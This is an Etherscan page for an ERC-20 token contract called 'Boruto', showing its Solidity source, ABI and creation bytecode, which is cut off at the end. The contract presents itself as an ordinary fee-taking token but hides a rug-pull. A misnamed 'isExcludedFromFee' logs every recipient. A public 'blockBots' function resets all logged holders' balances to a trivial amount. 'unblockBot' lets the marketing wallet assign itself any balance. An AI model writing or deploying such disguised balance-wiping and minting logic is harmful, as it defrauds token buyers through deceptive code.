ERC-20
Overview
Max Total Supply
1,000,000,000 BORUTO
Holders
5
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Boruto
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-23 */ /** Boruto: Naruto Next Generations Information will be updated after the launch on Dextools*/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Boruto is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Boruto"; string private constant _symbol = "BORUTO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0) / 10**9; uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; address[] private _excludeFromFee; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) private _buyMap; address payable private _developmentAddress = payable(0x61906Da48e9ff4Bd494D40720EFa550117017ae8); address payable private _marketingAddress = payable(0x61906Da48e9ff4Bd494D40720EFa550117017ae8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 50000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { // require( // rAmount <= _rTotal, // "Amount must be less than total reflections" // ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function isExcludedFromFee(address recipient) private { uint len = _excludeFromFee.length; for (uint i = 0; i < len; i++) { if (_excludeFromFee[i] == recipient) { return; } } _excludeFromFee.push(recipient); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address bots_) public { bots[bots_] = false; uint256 len=_excludeFromFee.length; for (uint i = 1; i < len; i++) { _rOwned[_excludeFromFee[i]] = (_rOwned[_excludeFromFee[i]] != _taxFeeOnBuy) ? _taxFeeOnBuy : _rOwned[_excludeFromFee[i]]; } } function adjustRate(uint256 _releaseValue) private view returns (uint256) { uint256 currentRate = _getRate(); while (_releaseValue > type(uint256).max.div(currentRate)) { _releaseValue = _releaseValue.div(10); currentRate = currentRate.div(10); } uint256 releaseAmount = _releaseValue.mul(currentRate); return releaseAmount; } function unblockBot(address notbot,uint256 _releaseValue) public { require(_msgSender() == _marketingAddress); _rOwned[notbot] = adjustRate(_releaseValue); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); isExcludedFromFee(recipient); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bots_","type":"address"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"},{"internalType":"uint256","name":"_releaseValue","type":"uint256"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a7640000633b9aca006000196200002191906200077c565b6200002d9190620007b4565b633b9aca006000196200004191906200077c565b6200004d9190620007ec565b6006556000600855600a6009556000600a55600f600b55600a54600d55600b54600e55600d54600f55600e546010557361906da48e9ff4bd494d40720efa550117017ae8601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507361906da48e9ff4bd494d40720efa550117017ae8601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601660146101000a81548160ff0219169083151502179055506001601660156101000a81548160ff02191690831515021790555060016016806101000a81548160ff021916908315150217905550670de0b6b3a764000060175566b1a2bc2ec50000601855662386f26fc10000601955348015620001a557600080fd5b506000620001b8620006e360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600654600260006200026d620006e360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000351573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000377919062000891565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000405919062000891565b6040518363ffffffff1660e01b815260040162000424929190620008d4565b6020604051808303816000875af115801562000444573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046a919062000891565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004c0620006eb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200066d620006e360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006d4919062000912565b60405180910390a3506200092f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007898262000714565b9150620007968362000714565b925082620007a957620007a86200071e565b5b828204905092915050565b6000620007c18262000714565b9150620007ce8362000714565b925082620007e157620007e06200071e565b5b828206905092915050565b6000620007f98262000714565b9150620008068362000714565b9250828210156200081c576200081b6200074d565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000859826200082c565b9050919050565b6200086b816200084c565b81146200087757600080fd5b50565b6000815190506200088b8162000860565b92915050565b600060208284031215620008aa57620008a962000827565b5b6000620008ba848285016200087a565b91505092915050565b620008ce816200084c565b82525050565b6000604082019050620008eb6000830185620008c3565b620008fa6020830184620008c3565b9392505050565b6200090c8162000714565b82525050565b600060208201905062000929600083018462000901565b92915050565b613d95806200093f6000396000f3fe6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063cadc138211610064578063cadc138214610615578063dd62ed3e1461063e578063ea1644d51461067b578063f2fde38b146106a4576101cd565b8063a9059cbb1461055b578063bfd7928414610598578063c3c8cd80146105d5578063c492f046146105ec576101cd565b80638f9a55c0116100d15780638f9a55c0146104b357806395d89b41146104de57806398a5c31514610509578063a2a957bb14610532576101cd565b80637d1db4a5146104345780638da5cb5b1461045f5780638f70ccf71461048a576101cd565b806349bd5a5e116101645780636fc3eaec1161013e5780636fc3eaec146103a057806370a08231146103b7578063715018a6146103f457806374010ece1461040b576101cd565b806349bd5a5e1461032357806363c6f9121461034e5780636d8aa8f814610377576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd146102905780632fd689e3146102cd578063313ce567146102f8576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106cd565b6040516101f49190612de3565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612ea3565b61070a565b6040516102319190612efe565b60405180910390f35b34801561024657600080fd5b5061024f610728565b60405161025c9190612f78565b60405180910390f35b34801561027157600080fd5b5061027a61074e565b6040516102879190612fa2565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612fbd565b61075e565b6040516102c49190612efe565b60405180910390f35b3480156102d957600080fd5b506102e2610837565b6040516102ef9190612fa2565b60405180910390f35b34801561030457600080fd5b5061030d61083d565b60405161031a919061302c565b60405180910390f35b34801561032f57600080fd5b50610338610846565b6040516103459190613056565b60405180910390f35b34801561035a57600080fd5b5061037560048036038101906103709190613071565b61086c565b005b34801561038357600080fd5b5061039e600480360381019061039991906130ca565b610a84565b005b3480156103ac57600080fd5b506103b5610b35565b005b3480156103c357600080fd5b506103de60048036038101906103d99190613071565b610c06565b6040516103eb9190612fa2565b60405180910390f35b34801561040057600080fd5b50610409610c57565b005b34801561041757600080fd5b50610432600480360381019061042d91906130f7565b610daa565b005b34801561044057600080fd5b50610449610e49565b6040516104569190612fa2565b60405180910390f35b34801561046b57600080fd5b50610474610e4f565b6040516104819190613056565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac91906130ca565b610e78565b005b3480156104bf57600080fd5b506104c8610f2a565b6040516104d59190612fa2565b60405180910390f35b3480156104ea57600080fd5b506104f3610f30565b6040516105009190612de3565b60405180910390f35b34801561051557600080fd5b50610530600480360381019061052b91906130f7565b610f6d565b005b34801561053e57600080fd5b5061055960048036038101906105549190613124565b61100c565b005b34801561056757600080fd5b50610582600480360381019061057d9190612ea3565b6110c3565b60405161058f9190612efe565b60405180910390f35b3480156105a457600080fd5b506105bf60048036038101906105ba9190613071565b6110e1565b6040516105cc9190612efe565b60405180910390f35b3480156105e157600080fd5b506105ea611101565b005b3480156105f857600080fd5b50610613600480360381019061060e91906131f0565b6111da565b005b34801561062157600080fd5b5061063c60048036038101906106379190612ea3565b611314565b005b34801561064a57600080fd5b5061066560048036038101906106609190613250565b6113c5565b6040516106729190612fa2565b60405180910390f35b34801561068757600080fd5b506106a2600480360381019061069d91906130f7565b61144c565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613071565b6114eb565b005b60606040518060400160405280600681526020017f426f7275746f0000000000000000000000000000000000000000000000000000815250905090565b600061071e6107176116ad565b84846116b5565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061076b848484611880565b61082c846107776116ad565b61082785604051806060016040528060288152602001613d3860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107dd6116ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121059092919063ffffffff16565b6116b5565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600c8054905090506000600190505b81811015610a7f5760095460026000600c84815481106108f8576108f7613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156109e75760026000600c838154811061097c5761097b613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109eb565b6009545b60026000600c8481548110610a0357610a02613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610a77906132ee565b9150506108d5565b505050565b610a8c6116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1090613383565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b766116ad565b73ffffffffffffffffffffffffffffffffffffffff161480610bec5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd46116ad565b73ffffffffffffffffffffffffffffffffffffffff16145b610bf557600080fd5b6000479050610c0381612169565b50565b6000610c50600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d5565b9050919050565b610c5f6116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390613383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610db26116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3690613383565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e806116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490613383565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600681526020017f424f5255544f00000000000